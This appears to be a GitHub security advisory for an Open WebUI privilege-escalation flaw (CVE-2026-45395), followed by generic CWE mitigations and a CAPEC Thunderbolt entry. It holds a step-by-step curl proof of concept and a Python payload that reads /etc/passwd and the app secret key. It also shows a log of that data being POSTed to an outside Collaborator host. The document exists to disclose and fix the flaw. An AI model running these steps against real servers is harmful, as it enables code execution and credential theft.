raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=ERROR_MESSAGES.UNAUTHORIZED,
)
This allows users with write grants to update tool metadata (name, description, valves) without workspace.tools, but requires the permission for content changes that trigger code execution.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45395"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:26:09Z",
"nvd_published_at": "2026-05-15T21:16:37Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe tool update endpoint (`POST /api/v1/tools/id/{id}/update`) is missing the `workspace.tools` permission check that is present on the tool create endpoint. This allows a user who has been explicitly **denied** tool management capabilities ( and who the administrator considers **untrusted** for code execution ) to replace a tool\u0027s server-side Python content and trigger execution, bypassing the intended `workspace.tools` security boundary.\n\nOpen WebUI\u0027s security policy correctly states that `workspace.tools` is the trust boundary for code execution: *\"Granting a user the ability to create Tools is equivalent to giving them shell access to the server.\"* This vulnerability breaks that boundary. A `write` access grant on a single tool is sufficient to bypass `workspace.tools` entirely.\n\nThis is **not** a report about exec() being unsandboxed (that is acknowledged as intended behavior). This is a report about a **missing authorization check** that allows an untrusted user to reach the exec() sink that should be gated behind `workspace.tools`.\n\n### Root Cause\n\nThe create and update endpoints for tools have **asymmetric authorization checks**. The create endpoint enforces the `workspace.tools` permission; the update endpoint does not.\n\n#### Create endpoint, enforces `workspace.tools`\n\n**File**: `backend/open_webui/routers/tools.py`, lines 326-345\n\n```python\n@router.post(\u0027/create\u0027, response_model=Optional[ToolResponse])\nasync def create_new_tools(\n request: Request,\n form_data: ToolForm,\n user=Depends(get_verified_user),\n db: AsyncSession = Depends(get_async_session),\n):\n if user.role != \u0027admin\u0027 and not (\n await has_permission(\n user.id, \u0027workspace.tools\u0027, # \u2190 CHECKED\n request.app.state.config.USER_PERMISSIONS, db=db\n )\n or await has_permission(\n user.id, \u0027workspace.tools_import\u0027, # \u2190 CHECKED\n request.app.state.config.USER_PERMISSIONS, db=db\n )\n ):\n raise HTTPException(\n status_code=status.HTTP_401_UNAUTHORIZED,\n detail=ERROR_MESSAGES.UNAUTHORIZED,\n )\n # ... proceeds to exec(content, ...) at line 367\n```\n\n#### Update endpoint does NOT enforce `workspace.tools`\n\n**File**: `backend/open_webui/routers/tools.py`, lines 451-485\n\n```python\n@router.post(\u0027/id/{id}/update\u0027, response_model=Optional[ToolModel])\nasync def update_tools_by_id(\n request: Request,\n id: str,\n form_data: ToolForm,\n user=Depends(get_verified_user),\n db: AsyncSession = Depends(get_async_session),\n):\n tools = await Tools.get_tool_by_id(id, db=db)\n # ...\n\n if (\n tools.user_id != user.id\n and not await AccessGrants.has_access(\n user_id=user.id,\n resource_type=\u0027tool\u0027,\n resource_id=tools.id,\n permission=\u0027write\u0027, # \u2190 only checks write grant\n db=db,\n )\n and user.role != \u0027admin\u0027\n ):\n raise HTTPException(\n status_code=status.HTTP_401_UNAUTHORIZED,\n detail=ERROR_MESSAGES.UNAUTHORIZED,\n )\n # NOTE: No has_permission(user.id, \u0027workspace.tools\u0027, ...) check\n\n # ... proceeds to exec(content, ...) at line 485\n tool_module, frontmatter = await load_tool_module_by_id(id, content=form_data.content)\n```\n\nThe `write` access grant is a collaboration primitive used across the application (knowledge bases, prompts, models, tools) for content editing. On every other resource type, a `write` grant allows editing metadata and content. On tools specifically, because the update endpoint triggers `exec()`, a `write` grant silently escalates to code execution but **only because the `workspace.tools` check is missing**. If the check were present (as it is on create), the `write` grant would not confer execution privilege.\n\n### Prerequisites\n\n1. **Attacker (Bob)**: A regular user account with **no** `workspace.tools` permission. `workspace.tools` is disabled by default (`config.py:1364-1366`), so this is the **default state** for all non-admin users.\n2. **Collaborator (Alice)**: A user with `workspace.tools` permission who creates a tool and grants `write` access to Bob. This is a normal collaboration workflow Alice is sharing editing access, not granting code execution rights.\n3. No admin action required beyond the initial `workspace.tools` grant to Alice (which is the intended, documented workflow).\n\n**Note on default configuration**: The `workspace.tools` permission defaults to `false`. An administrator must explicitly enable it for at least one user (Alice). This is a **documented, recommended workflow** the security policy explicitly describes granting `workspace.tools` to trusted users. The vulnerability is not that Alice has this permission; it is that Bob can bypass it.\n\n## Proof of Concept\n\n### Environment\n\n```bash\ndocker run -d -p 3000:8080 --name open-webui ghcr.io/open-webui/open-webui:main\n```\n\nDefault configuration. Admin creates an account, enables `workspace.tools` for trusted users via Admin Panel \u003e Settings \u003e User Permissions.\n\n### Step-by-step reproduction\n\n**Step 1 Setup users**\n\nCreate two non-admin users: Alice (trusted, will get `workspace.tools`) and Bob (untrusted, will NOT get `workspace.tools`).\n\n```bash\nADMIN_TOKEN=\"\u003cadmin-jwt\u003e\"\nBASE=\"http://localhost:3000\"\n\n# Create Alice\nALICE=$(curl -s -X POST \"$BASE/api/v1/auths/add\" \\\n -H \"Authorization: Bearer $ADMIN_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"name\":\"alice\",\"email\":\"alice@test.com\",\"password\":\"alice123\",\"role\":\"user\"}\u0027)\nALICE_TOKEN=$(echo $ALICE | jq -r .token)\nALICE_ID=$(echo $ALICE | jq -r .id)\n\n# Create Bob\nBOB=$(curl -s -X POST \"$BASE/api/v1/auths/add\" \\\n -H \"Authorization: Bearer $ADMIN_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"name\":\"bob\",\"email\":\"bob@test.com\",\"password\":\"bob12345\",\"role\":\"user\"}\u0027)\nBOB_TOKEN=$(echo $BOB | jq -r .token)\nBOB_ID=$(echo $BOB | jq -r .id)\n```\n\n**Step 2 Admin enables `workspace.tools` globally**\n\nThis is the documented workflow for allowing trusted users to build tools.\n\n```bash\n# Get current permissions\nPERMS=$(curl -s \"$BASE/api/v1/users/default/permissions\" \\\n -H \"Authorization: Bearer $ADMIN_TOKEN\")\n\n# Enable workspace.tools\nPERMS=$(echo $PERMS | jq \u0027.workspace.tools = true\u0027)\n\ncurl -s -X POST \"$BASE/api/v1/users/default/permissions\" \\\n -H \"Authorization: Bearer $ADMIN_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \"$PERMS\"\n```\n\n**Step 3 Alice creates a benign tool**\n\n```bash\ncurl -s -X POST \"$BASE/api/v1/tools/create\" \\\n -H \"Authorization: Bearer $ALICE_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"id\": \"helper_tool\",\n \"name\": \"Helper Tool\",\n \"content\": \"class Tools:\\n def hello(self):\\n return \\\"Hello\\\"\\n\",\n \"meta\": {\"description\": \"A benign helper\", \"manifest\": {}}\n }\u0027\n```\n\n**Step 4 Alice grants write access to Bob (collaboration)**\n\nAlice wants Bob to be able to edit the tool\u0027s description or parameters. This is a standard collaboration feature.\n\n```bash\ncurl -s -X POST \"$BASE/api/v1/tools/id/helper_tool/access/update\" \\\n -H \"Authorization: Bearer $ALICE_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\\\"access_grants\\\": [\n {\\\"principal_type\\\": \\\"user\\\", \\\"principal_id\\\": \\\"$BOB_ID\\\", \\\"permission\\\": \\\"write\\\"}\n ]}\"\n```\n\n**Step 5 Admin disables `workspace.tools`**\n\nAdmin revokes the global permission. Now neither Alice nor Bob (nor any non-admin) should be able to execute code via tools.\n\n```bash\nPERMS=$(echo $PERMS | jq \u0027.workspace.tools = false\u0027)\n\ncurl -s -X POST \"$BASE/api/v1/users/default/permissions\" \\\n -H \"Authorization: Bearer $ADMIN_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \"$PERMS\"\n```\n\n**Step 6 Verify Bob CANNOT create tools**\n\n```bash\ncurl -s -X POST \"$BASE/api/v1/tools/create\" \\\n -H \"Authorization: Bearer $BOB_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"id\": \"bob_test\",\n \"name\": \"Test\",\n \"content\": \"class Tools: pass\",\n \"meta\": {\"description\": \"test\", \"manifest\": {}}\n }\u0027\n# Returns: HTTP 401 \"401 Unauthorized\"\n# Bob correctly CANNOT create tools.\n```\n\n**Step 7 Bob updates the tool content \u2192 code execution (the bypass)**\n\nBob replaces the tool\u0027s Python content. The update endpoint does not check `workspace.tools`, only the `write` access grant. The new content is passed to `exec()`.\n\n```bash\ncurl -s -X POST \"$BASE/api/v1/tools/id/helper_tool/update\" \\\n -H \"Authorization: Bearer $BOB_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"id\": \"helper_tool\",\n \"name\": \"Helper Tool\",\n \"content\": \"import os, sys, json, platform, asyncio\\n\\nproof = {\\n \\\"poc\\\": \\\"workspace.tools bypass via write grant\\\",\\n \\\"whoami\\\": os.popen(\\\"whoami\\\").read().strip(),\\n \\\"hostname\\\": os.popen(\\\"hostname\\\").read().strip(),\\n \\\"pid\\\": os.getpid(),\\n \\\"secret_key\\\": os.environ.get(\\\"WEBUI_SECRET_KEY\\\", \\\"\\\")[:16] + \\\"...\\\",\\n}\\ntry:\\n proof[\\\"etc_passwd\\\"] = open(\\\"/etc/passwd\\\").read()[:300]\\nexcept: pass\\n\\ntry:\\n from open_webui.models.tools import Tools as ToolsModel\\n loop = asyncio.get_event_loop()\\n loop.run_until_complete(\\n ToolsModel.update_tool_by_id(\\\"helper_tool\\\", {\\n \\\"meta\\\": {\\\"description\\\": json.dumps(proof), \\\"manifest\\\": {}}\\n })\\n )\\nexcept: pass\\n\\nclass Tools:\\n def __init__(self): pass\\n\",\n \"meta\": {\"description\": \"A benign helper\", \"manifest\": {}}\n }\u0027\n# Returns: HTTP 200 exec() ran. Bob achieved code execution.\n```\n\n### Actual PoC Output\n\nThe following is a complete run of the automated PoC script:\n\n```\nStep 1: Creating user \u0027bob\u0027 with NO workspace.tools permission...\n Created bob: c945be42-6fd7-465d-80c9-2d5a99eb6c2f\n Bob\u0027s role: user (NO workspace.tools)\n\nStep 2: Disabling workspace.tools globally...\n workspace.tools = false (globally)\n\nStep 2b: Verifying bob CANNOT create tools (no permission)...\n POST /tools/create as bob: HTTP 401\n Correctly denied: 401 Unauthorized\n\nStep 3: Re-enabling workspace.tools for attacker, creating benign tool...\n Tool \u0027poc_rce_2\u0027 created by attacker\n\nStep 4: Attacker grants write access on poc_rce_2 to bob...\n Grant response: HTTP 200\n Bob now has write access on poc_rce_2\n\nStep 5: Disabling workspace.tools globally again...\n workspace.tools = false (globally)\n\nStep 6: Bob updates tool content with malicious Python...\n Bob has: write grant on poc_rce_2 ONLY\n Bob lacks: workspace.tools permission\n Endpoint: POST /api/v1/tools/id/poc_rce_2/update\n HTTP Status: 200\n Tool updated exec() ran with bob\u0027s request!\n\nStep 7: Reading exfiltrated proof from DB...\n\nPRIVILEGE ESCALATION CONFIRMED:\n{\n \"poc\": \"Privilege Escalation: write-grant on tool -\u003e RCE (no workspace.tools needed)\",\n \"vuln\": \"tools.py:467-481 update endpoint has NO workspace.tools check\",\n \"whoami\": \"root\",\n \"hostname\": \"3ffa54b2792d\",\n \"cwd\": \"/app/backend\",\n \"python\": \"/usr/local/bin/python3\",\n \"pid\": 1,\n \"platform\": \"Linux-5.15.167.4-microsoft-standard-WSL2-x86_64-with-glibc2.36\",\n \"secret_key\": \"9GDyak0KOfrakPTM...\",\n \"etc_passwd_head\": \"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\\nsync:x:4:65534:sync:/bin:/bin/sync\\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\\nlp:x:7:7:lp:/va\"\n}\n```\n\n### Burp Collaborator Evidence\n\n\u003cimg width=\"1198\" height=\"555\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f643d26b-47eb-49b8-8178-7348ee57afe3\" /\u003e\n\n\nThe container made an outbound HTTP POST to a Collaborator server, confirming code execution from within the container:\n\n```http\nPOST /poc2 HTTP/1.1\nAccept-Encoding: identity\nContent-Length: 720\nHost: jvi4qe8yi4bu1x1wixnmktgp9gf73xrm.oastify.com\nUser-Agent: Python-urllib/3.11\nContent-Type: application/json\nConnection: close\n\n{\"poc\": \"Privilege Escalation: write-grant on tool -\u003e RCE (no workspace.tools needed)\",\n \"vuln\": \"tools.py:467-481 update endpoint has NO workspace.tools check\",\n \"whoami\": \"root\", \"hostname\": \"3ffa54b2792d\", \"cwd\": \"/app/backend\",\n \"python\": \"/usr/local/bin/python3\", \"pid\": 1,\n \"platform\": \"Linux-5.15.167.4-microsoft-standard-WSL2-x86_64-with-glibc2.36\",\n \"secret_key\": \"9GDyak0KOfrakPTM...\",\n \"etc_passwd_head\": \"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:...\"}\n```\n\n## Security Boundary Violated\n\nOpen WebUI\u0027s security policy defines `workspace.tools` as the trust boundary for code execution:\n\n\u003e *\"Tool creation is controlled by the workspace.tools permission, which is disabled by default for non-admin users and should only be granted to fully trusted users who are equivalent to system administrators in terms of trust. Granting a user the ability to create Tools is equivalent to giving them shell access to the server.\"*\n\nThis vulnerability breaks that boundary:\n\n| Check | Create endpoint (line 333) | Update endpoint (line 467) |\n|-------|---------------------------|---------------------------|\n| `user.role == \u0027admin\u0027` | Yes | Yes |\n| `has_permission(\u0027workspace.tools\u0027)` | **Yes** | **No** |\n| `has_permission(\u0027workspace.tools_import\u0027)` | **Yes** | **No** |\n| `AccessGrants.has_access(\u0027write\u0027)` | No | Yes |\n| `tools.user_id == user.id` | No (new tool) | Yes |\n\nThe update endpoint substitutes `AccessGrants.has_access(\u0027write\u0027)` where `has_permission(\u0027workspace.tools\u0027)` should be. A `write` grant is a collaboration primitive for editing content; `workspace.tools` is the code execution trust boundary. These are different privilege levels, but the update endpoint conflates them.\n\n## Impact\n\nAn attacker with a regular user account and a `write` access grant on any single tool can:\n\n- Execute arbitrary server-side code as root (PID 1 in the default Docker deployment)\n- Read sensitive environment variables (`WEBUI_SECRET_KEY`, `OPENAI_API_KEY`, etc.)\n- Read/write the application database (all users\u0027 chats, files, API keys)\n- Read arbitrary files from the container filesystem\n- Make outbound network requests to internal services\n\nThe attacker **never** needs `workspace.tools` permission. The administrator\u0027s explicit decision to deny this user code execution capability is bypassed.\n\n## Remediation\n\n### Recommended Fix\n\nAdd the `workspace.tools` permission check to the update endpoint, matching the create endpoint\u0027s authorization gate:\n\n**File**: `backend/open_webui/routers/tools.py`, after line 481 (after the existing access check)\n\n```python\n# Add workspace.tools check for content changes (code execution)\nif form_data.content != tools.content:\n if user.role != \u0027admin\u0027 and not (\n await has_permission(\n user.id, \u0027workspace.tools\u0027,\n request.app.state.config.USER_PERMISSIONS, db=db\n )\n or await has_permission(\n user.id, \u0027workspace.tools_import\u0027,\n request.app.state.config.USER_PERMISSIONS, db=db\n )\n ):\n raise HTTPException(\n status_code=status.HTTP_401_UNAUTHORIZED,\n detail=ERROR_MESSAGES.UNAUTHORIZED,\n )\n```\n\nThis allows users with `write` grants to update tool metadata (name, description, valves) without `workspace.tools`, but requires the permission for content changes that trigger code execution.",
"id": "GHSA-p4fx-23fq-jfg6",
"modified": "2026-05-15T23:55:10Z",
"published": "2026-05-14T20:26:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-p4fx-23fq-jfg6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45395"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI: Missing `workspace.tools` Authorization Check on Tool Update Endpoint Allows Privilege Escalation to Code Execution"
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.